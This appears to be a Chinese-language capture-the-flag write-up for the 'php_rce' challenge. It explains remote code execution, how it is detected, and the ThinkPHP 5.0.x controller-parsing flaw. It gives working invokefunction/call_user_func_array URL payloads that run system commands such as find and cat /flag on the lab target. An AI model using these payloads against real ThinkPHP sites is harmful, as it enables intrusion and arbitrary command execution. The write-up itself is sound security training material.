6.攻防世界php_rce

进入题目页面如下

进入页面后也没有发现注入点,加上题目提示是php,还有rce

RCE(Remote Code Execution)远程代码执行漏洞

基本概念

远程代码执行指攻击者无需物理接触目标系统,通过网络等远程方式,向目标系统注入并执行恶意代码。成功利用该漏洞后,攻击者能像合法用户一样对目标系统进行操作,获取系统的控制权。

数据泄露:可以执行恶意代码后可访问系统中的敏感数据,如用户的个人信息、企业的商业机密、数据库中的重要数据等,造成数据泄露和隐私侵犯。

系统破坏:可以删除、篡改系统文件和数据,导致系统无法正常运行,甚至造成数据丢失,给企业带来巨大的经济损失。

网络攻击跳板:被控制的系统可作为攻击者进一步攻击其他系统的跳板,扩大攻击范围,危害整个网络的安全。

检测手段

静态代码分析:借助代码扫描工具对源代码进行全面分析,查找可能存在的安全隐患和漏洞模式。例如,使用 SonarQube、Checkmarx 等工具可以发现代码中的命令注入、代码注入等问题。

动态测试:利用漏洞扫描器对运行中的应用程序进行动态检测,模拟攻击者的行为,向应用程序发送各种恶意请求,检测是否存在远程代码执行漏洞。常见的漏洞扫描器有 Nessus、Acunetix 等

定义

远程代码执行(Remote Code Execution,简称 RCE)漏洞是一种严重的安全漏洞,攻击者能够通过网络远程向目标系统注入并执行恶意代码。一旦成功利用该漏洞,攻击者可以完全控制目标系统,执行任意命令,如获取系统权限、窃取敏感信息、安装后门程序等,对系统安全造成严重威胁。

攻击者可构造恶意的参数,如 :ls -l,执行额外的系统命令

ThinkPHP V5

ThinkPHP V5 是一款在国内广泛应用的 PHP 开发框架

ThinkPHP 5.0.x 系列漏洞

漏洞成因

该版本主要是因为框架对控制器名解析存在缺陷。ThinkPHP 5 采用了路由机制,当处理请求时会根据请求的 URL 解析出对应的控制器和方法。在某些情况下,对控制器名的解析没有进行严格的过滤和验证,攻击者可以通过构造特殊的 URL 请求,让框架加载并执行恶意的控制器代码。

利用方式

攻击者构造包含恶意代码的 URL 请求,发送给存在漏洞的应用。可以通过修改 URL 中的控制器名参数,使其指向一个恶意构造的类,这个类中包含可以执行任意代码的方法。当应用处理该请求时,就会触发漏洞执行恶意代码。

这里的 s 参数通常用于指定控制器和方法,通过构造特殊的值,尝试执行 phpinfo() 函数,若漏洞存在则会输出 PHP 信息。

构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

发现了flag文件

再次构造payload

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

最后得到flag:flag{thinkphp5_rce}

相关推荐
Ivy_belief17 小时前
Qt网络编程实战:从零掌握 QUdpSocket 及 UDP 通信
网络·qt·udp
Du_chong_huan17 小时前
5.3 通过负载均衡分担流量
网络
booksyhay17 小时前
XCP协议学习笔记
网络·笔记·学习
一只鹿鹿鹿17 小时前
网络安全风险评估报告如何写?(Word文件)
java·大数据·spring boot·安全·web安全·小程序
网安情报局17 小时前
2026网络安全六大确定性趋势
大数据·人工智能·网络安全
专家大圣17 小时前
告别付费 OCR!PaddleOCR-VL + cpolar,打造专属便携识别工具✨
网络·ocr·内网穿透·cpolar
大黄说说17 小时前
Rust 入门到实战:构建安全、高性能的下一代系统
开发语言·安全·rust
大方子17 小时前
【PolarCTF】session文件包含
网络安全·polarctf
kaolagirl17 小时前
微信小程序-滑动拼图安全验证
安全·微信小程序·小程序
Z1eaf_complete17 小时前
OpenSSL 可预测 PRNG 漏洞(CVE-2008-0166)
安全·web安全